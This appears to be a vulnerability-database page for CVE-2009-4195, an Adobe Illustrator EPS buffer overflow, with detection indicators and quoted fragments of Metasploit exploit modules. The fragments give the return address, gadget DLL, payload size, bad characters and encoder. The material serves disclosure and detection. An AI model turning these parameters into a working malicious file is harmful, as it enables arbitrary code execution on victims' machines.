CVE-2009-4195
published 2009-12-04CVE-2009-4195: Buffer overflow in Adobe Illustrator CS4 14.0.0, CS3 13.0.3 and earlier, and CS3 13.0.0 allows remote attackers to execute arbitrary code via a long DSC…
PriorityP359critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
70.68%
99.4th percentile
Buffer overflow in Adobe Illustrator CS4 14.0.0, CS3 13.0.3 and earlier, and CS3 13.0.0 allows remote attackers to execute arbitrary code via a long DSC comment in an Encapsulated PostScript (.eps) file. NOTE: some of these details are obtained from third party information.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | illustrator | — | — |
| adobe | illustrator | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff\xff\x00\x00
- →Malicious EPS files exploiting CVE-2009-4195 contain an overlong DSC comment field (41699+ bytes of padding) followed by a return address, targeting Adobe Illustrator CS4 14.0.0. Look for EPS files with abnormally large DSC comment lines. ↗
- →Exploit EPS files begin with the magic bytes \xc5\xd0\xd3\xc6 (Windows EPS binary header) followed by PostScript header strings including '%!PS-Adobe-3.1 EPSF-3.0' and '%ADO_DSC_Encoding: Windows Roman'. Presence of this binary header combined with an oversized DSC comment is a strong indicator. ↗
- →The return address 0x4B4B5173 targets a CALL ESI gadget in icudt36.dll, which ships with Adobe Illustrator CS4. Detection of this address in a file opened by Illustrator is a strong exploit indicator. ↗
- →Exploit EPS payload section contains the marker string '%AAAAAAAA' immediately before the encoded shellcode, which can be used as a signature pattern within the malicious file. ↗
- ·The exploit generates a file-format (client-side) attack; there is no network listener — the default option DisablePayloadHandler is set to true in the Metasploit module. ↗
- ·The return address 0x4B4B5173 is hardcoded for icudt36.dll and is listed as 'Windows Universal', meaning it may not work against patched or differently versioned DLL builds. ↗
- ·Payload space is limited to 1000 bytes and must be AlphanumUpper encoded, constraining the size and type of shellcode that can be delivered. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Adobe Illustrator CS4 14.0.0 - Postscript (.eps) Buffer Overflow (Metasploit)
exploitdb·2010-09-25
CVE-2009-4195 Adobe Illustrator CS4 14.0.0 - Postscript (.eps) Buffer Overflow (Metasploit)
Adobe Illustrator CS4 14.0.0 - Postscript (.eps) Buffer Overflow (Metasploit)
---
##
# $Id: adobe_illustrator_v14_eps.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Adobe Illustrator CS4 v14.0.0',
'Description' => %q{
Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
overlong DSC Comment Buffer Overflow Exploit
},
'License' => MSF_LICENSE,
'Author' => [ 'Nine:Situations:Group::pyrokinesis', 'dookie' ],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-4195' ],
[ 'BID', '3719
Exploit-DB
Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
exploitdb·2009-12-07
CVE-2009-4195 Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
---
require 'msf/core'
class Metasploit3 'Adobe Illustrator CS4 v14.0.0',
'Description' => %q{
Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
overlong DSC Comment Buffer Overflow Exploit
},
'License' => MSF_LICENSE,
'Author' => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10281' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0D\x0C\x0A",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
],
'Privileged' => false,
'D
Exploit-DB
Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript '.eps' Local Buffer Overflow
exploitdb·2009-12-03
CVE-2009-4195 Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript '.eps' Local Buffer Overflow
Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript '.eps' Local Buffer Overflow
---
Metasploit
Adobe Illustrator CS4 v14.0.0
metasploit
Adobe Illustrator CS4 v14.0.0
Adobe Illustrator CS4 v14.0.0
Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) overlong DSC Comment Buffer Overflow Exploit
No writeups or analysis indexed.
http://blogs.adobe.com/psirt/2009/12/potential_adobe_illustrator_cs.htmlhttp://osvdb.org/60632http://retrogod.altervista.org/9sg_adobe_illuso.htmlhttp://secunia.com/advisories/37563http://www.adobe.com/support/security/bulletins/apsb10-01.htmlhttp://www.securityfocus.com/archive/1/508175/100/0/threadedhttp://www.securityfocus.com/bid/37192http://www.securitytracker.com/id?1023276http://www.vupen.com/english/advisories/2009/3396https://exchange.xforce.ibmcloud.com/vulnerabilities/54521http://blogs.adobe.com/psirt/2009/12/potential_adobe_illustrator_cs.htmlhttp://osvdb.org/60632http://retrogod.altervista.org/9sg_adobe_illuso.htmlhttp://secunia.com/advisories/37563http://www.adobe.com/support/security/bulletins/apsb10-01.htmlhttp://www.securityfocus.com/archive/1/508175/100/0/threadedhttp://www.securityfocus.com/bid/37192http://www.securitytracker.com/id?1023276http://www.vupen.com/english/advisories/2009/3396https://exchange.xforce.ibmcloud.com/vulnerabilities/54521
2009-12-04
Published